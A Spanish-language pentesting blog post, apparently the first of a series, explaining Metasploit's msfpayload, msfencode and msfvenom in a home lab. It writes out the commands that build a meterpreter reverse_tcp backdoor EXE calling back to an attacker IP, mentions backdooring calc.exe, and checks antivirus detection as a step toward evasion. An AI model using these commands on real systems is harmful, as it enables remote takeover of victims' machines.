banner

Metasploit: de ENCODING y PAYLOAD va la cosa (I)



















Con un titulo tan abierto con el que acabo de bautizar este "post", voy a celebrar el haber alcanzado los 700 seguidores en twitter (muchas gracias a todos por leer este blog y por estar ahí), y que mejor que hacerlo escribiendo un poco sobre #Metasploit Framework y #Pentesting.

En el artículo de hoy, además de jugar con los comandos msfpayload, msfencode y msfvenom del framework de #Metasploit, voy a presentar una nueva sección del Blog: #ST2Labs (El laboratorio de Seguridad para Todos).


INDICE:  Parte 1 | Parte 2 | Parte 3                                                                                                                                                              


¿Qué son y para que sirven?

Para saber qué son estos comandos y para que sirven que mejor que hacerlo con ejemplos ¿no creéis? , pero antes voy a poner una pequeña descripción de cada uno de ellos:

msfpayload
Es un comando que permite convertir cualquier PAYLOAD en un elemento independiente y con autonomía propia, por ejemplo un ejecutable EXE (windows), un ejecutable de Linux, o quizás un fragmento de código en una librería dinámica (DLL), etc.

msfpayload help
msfencode:
Aplica técnicas de evasión de IDS/IPS y Antivirus a un PAYLOAD en bruto (raw) para generar un elemento independiente y autónomo, como por ejemplo: ejecutable (EXE), JAVA, DLL, vba, ASP, etc.

Este comando aumenta el número y tipo de archivos que genera, incluso permite crear un ejecutable EXE utilizando como "template" (plantilla) otro; Ejemplo utilizar calc.exe para generar una versión con un backdoors del tipo meterpreter.

msfencode help
msfvenom
Es la unión de msfpayload y msfencode en un solo comando, mayor velocidad y simplicidad a la hora de generar los PAYLOAD y aplicarle técnicas de evasión. 

Pero tiene algunas limitaciones, por ejemplo, no tiene la capacidad de aplicar varias técnicas de evasión sobre el mismo PAYLOAD, como veremos más adelante en nuestros ejemplos.

msfvenom help
Ejemplos de USO

En nuestro laboratorio de pruebas (ST2Labs) contamos con dos máquinas virtuales, la primera de ellas tiene instalado Kali Linux con #Metasploit y la segunda cuenta con un Windows XP SP3, que servirá posteriormente para poner a prueba los PAYLOADs generados.

ST2Labs - Entorno de trabajo.
Una vez preparado el entorno de trabajo, se esta en condiciones de empezar con los ejemplos. Empezaremos desde más sencillo e iremos aumentando la complejidad progresivamente. Utilizaremos Virtustotal para poner a prueba las técnicas de evasión utilizadas.

Ejemplo 1:

Creación de un backdoor del tipo meterpreter, sin encoding (ofuscación del código), y que este preparado para generar una conexión con origen en la victima y destino el atacante, también conocido como reverse_tcp.

>> Paso 1: Elección del PAYLOAD, listar los PAYLOAD disponibles.

root@ST2Labs > msfpayload -l

msfpayload -l [Listar los PAYLOAD disponibles]
Como se puede observar en la imagen superior, se tienen a nuestra disposición unos 256 payload diferentes, ordenados según el sistema operativo. Incluso existen PAYLOAD específicos para Windows x64. 

Puesto que nuestro equipo de laboratorio es un Windows XP SP3 x86 (32bits), nos centraremos en dichos payload, por lo que se puede utilizar el comando grep para filtrar los resultados y mostrar solamente los que contengan la palabra windows.

root@ST2Labs > msfpayload -l | grep windows | grep reverse

Con el comando anterior listamos los PAYLOAD que contienen la palabra windows y reverse, que nos interesa para crear nuestro PAYLOAD con conexión inversa.

>> Paso 2: Una vez elegido el PAYLOAD (windows/patchupmeterpreter/reverse_tcp), vamos a ver las opciones (variables) de configuración que se necesitan, para ello se añade la letra O al final:

root@ST2Labs > msfpayload windows/patchupmeterpreter/reverse_tcp O 

msfpayload [Opciones del PAYLOAD escogido]
>> Paso 3: Configuración de las variables / parámetros del PAYLOAD seleccionado, se cambiará el metodo de EXITFUNC a seh, y se introducirá la IP del atacante (KALI linux) 192.168.2.105, tal que así:

root@ST2Labs > msfpayload windows/patchupmeterpreter/reverse_tcp EXITFUNC=seh LHOST=192.168.2.105 O

>> Paso 4: Una vez comprobado que se han configurado bien los parámetros, cambiamos la letra O, por el tipo de archivo / programa que deseamos generar, en este caso un ejecutable EXE, por lo que utilizamos la letra X.

root@ST2Labs > msfpayload windows/patchupmeterpreter/reverse_tcp EXITFUNC=seh LHOST=192.168.2.105 X > backdoor1.exe

msfpayload [Generación de un ejecutable EXE]
>> Paso 5: Comprobar la detección de los Antivirus

Ahora se puede comprobar que sin utilizar ningún tipo de ENCODING o técnica de ofuscación del código generado, el Antivirus puede detectarlo sin problema alguno, para ello voy a subir a virtustotal el EXE (backdoor1.exe) y comprobarlo.

VirusTotal - comprobación del archivo backdoor1.exe

Coincide con una firma ya subida con anterioridad a la web de virustotal, y se puede ver que efectivamente es detectado por la mayoría de los motores de antivirus ! Es necesario por tanto introducir técnicas de encoding ¡

¿Tendremos éxito evadiendo el sistema antivirus? O por el contrario todo los fabricantes de antivirus se han puesto las pilas y han incluido todas las firmas que se pueden generar con el framework #Metasploit

Esto lo veremos en el siguiente artículo.

>ST2Labs
#Pentesting #Rulez

1 comentario :